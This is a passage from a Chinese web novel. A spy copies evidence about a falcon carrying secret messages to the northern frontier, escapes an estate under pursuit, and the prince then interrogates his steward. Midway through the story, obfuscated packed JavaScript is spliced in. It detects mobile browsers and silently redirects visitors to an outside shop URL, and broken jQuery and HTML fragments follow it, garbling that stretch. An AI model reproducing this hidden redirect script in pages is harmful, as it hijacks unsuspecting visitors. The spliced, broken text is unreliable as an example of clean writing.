屋内的驯鹰人阿隼应了一声:“知道了,早已备妥。”


    “还有,最近风声紧,让你手下那些扁**畜生都安分点,少出去瞎晃悠,免得惹人注意。”另一名护卫补充道。


    “放心,我心里有数。”阿隼的语气带着一丝不耐烦。


    两名护卫又叮嘱了几句,便转身离开。


    沈忠心中巨震。


    “青羽”?


    这显然是那只铁翼鹞的名字!


    北边送信?北边是……难道是北疆?


    康亲王用这种珍稀猛禽往北疆送信?


    所为何事?


    这背后定然隐藏着惊天秘密!


    他强压下心中的激动,知道必须获取更多信息。


    他看到那两名护卫离开的方向是往庄园更深处走去,似乎要去复命。


    他犹豫了一下,是继续监视阿隼,还是跟踪护卫,探查更深层的秘密?


    风险太大!


    护卫前往的必然是核心区域,守卫定然更加严密。


    一旦暴露,后果不堪设想。


    而阿隼这里,虽然信息有限,但相对安全,且是直接经手人。


    沈忠迅速权衡利弊,决定稳扎稳打。


    他继续潜伏在石屋外,等待时机。


    后半夜,阿隼屋内的灯熄灭了,传来均匀的鼾声,似乎已经睡熟。


    沈忠如同鬼魅般撬开窗栓,悄无声息地潜入屋内。


    他动作极轻,借着微弱的月光,迅速搜查起来。


    他不敢翻动太大,主要查看桌面、墙角等可能存放物品的地方。


    在桌子的抽屉里,他发现了一本用特殊皮革包裹的册子,翻开一看,里面是用一种奇怪的符号记录的驯鹰笔记,还有手绘的鹰隼形态、飞行路线草图。


    他看不懂符号,但草图极为精细,其中一页赫然画着一只暗青色巨鹰,标注着“青羽”,旁边还有几条指向北疆的虚线。


    最重要的发现是在床底的一个暗格里,他摸到了一个坚硬的铁盒。


    费了些功夫打开后,里面是几卷用油布包裹的细小鱼鳔管,管口用蜡密封得严严实实。


    这极可能就是需要由“青羽”传递的密信!


    沈忠心中狂跳,但他不敢带走原件,那会立刻暴露。


    他迅速用随身携带的炭笔和薄如蝉翼的特制纸张,将册子中的关键草图和铁盒内鱼鳔管的大小、蜡封特征临摹下来。


    整个过程,他的手心全是汗,心跳如鼓,耳朵时刻警惕着屋外的动静。


    就在他刚刚完成临摹,将一切恢复原状,准备撤离时,屋外突然传来了犬吠声和急促的脚步声!


    还有火把的光亮由远及近!


    “有贼人潜入!搜!”护卫的呼喝声清晰可闻。


    被发现了?


    沈忠大惊失色!


    来不及细想,他必须立刻逃离!


    他闪电般从窗口翻出,落地后毫不停留,朝着来时记忆的围墙方向狂奔!


    “在那边!追!”护卫发现了他的身影,顿时呼喝着追了上来,箭矢破空声响起!


    沈忠将潜行技巧发挥到极致,在假山、树木、亭台间穿梭躲避,利用地形阻碍追兵。


    但庄园内的护卫被惊动,从四面八方围堵过来,火把将夜空照得亮如白昼!


    眼看就要被合围,沈忠一咬牙,冲向靠近后山围墙的一处温泉池。


    他深吸一口气,纵身跳入池中,利用温泉水汽和假山石的掩护,潜泳到对岸,然后如同壁虎般攀上湿滑的围墙。


    “放箭!别让他跑了!”护卫头领气急败坏地吼道。


    箭雨倾泻而下!


    沈忠感到肩头一痛,已被箭矢擦伤,但他强忍疼痛,翻身过墙,落入墙外的黑暗中,头也不回地扎进了密林深处。


    身后追兵的喧嚣和犬吠声渐渐远去。


    沈忠靠在一棵大树后,剧烈地喘息着,检查肩头的伤口,所幸只是皮外伤。


    他掏出怀中那份浸湿但字迹尚存的临摹图纸,紧紧攥在手中。


    虽然惊险万分,险些丧命,但收获巨大!


    不仅确认了铁翼鹞“青羽”的存在和驯养地点,更获取了其可能向北疆传递密信的关键线索。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694195|185966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    这份情报,必须立刻送回给墨先生和侯爷!


    他不敢停留,简单包扎伤口后,辨明方向,朝着京城潜行而去。


    夜色,掩盖了他的行踪,也掩盖了即将掀起的更大波澜。


    沁芳园夜闯事件,如同一块巨石投入看似平静的湖面,在康亲王府内部激起了巨大的波澜。


    次日清晨,康亲王萧远道在书房听完心腹管家的详细禀报,脸色阴沉得能滴出水来。


    他手中把玩的一对和田玉球,被捏得咯吱作响。


    “废物!一群废物!”萧远道猛地将玉球砸在紫檀木书案上,发出沉闷的巨响。


    “堂堂亲王府别苑,竟让人如入无人之境!连对方是圆是扁都没看清!养你们何用!”


    管家周福噗通一声跪倒在地,冷汗涔涔:“王爷息怒!是奴才失职!那贼人……身手极高,对园内布局极为熟悉,而且……而且似乎目标明确,直奔阿隼的驯鹰房而去……奴才怀疑,绝非普通**贼,怕是……冲着‘青羽’来的!”


    “青羽”二字,让萧远道瞳孔骤然收缩。


    这是他手中最重要的一张暗牌之一,用于与北疆那条线进行最机密、最紧急的联系。若此事暴露,后果不堪设想!


    “阿隼那边怎么样?可曾丢失什么?”萧远道强压怒火,厉声问道。


    “回王爷,阿隼检查过了,驯鹰册子和……和那些‘信管’都还在,屋内也没有明显翻动痕迹。贼人似乎……只是窥探,并未窃取实物。”周福战战兢兢地回答。


    “窥探?”萧远道眼中寒光闪烁,“只是窥探,就能摸到驯鹰房?就能在你们的重重守卫下全身而退?周福,你当本王是三岁孩童吗?!”


    他站起身,在书房内烦躁地踱步。


    昨夜之事,绝非偶然!对方显然是有的放矢,而且实力远超寻常。


    是沈景玄的人?还是……其他觊觎他秘密的势力?


    更让他心惊的是,对方为何偏偏在此时动手?


    莫非……与大理寺狱接连失手有关?


    一想到大理寺狱,萧远道的心更沉了下去。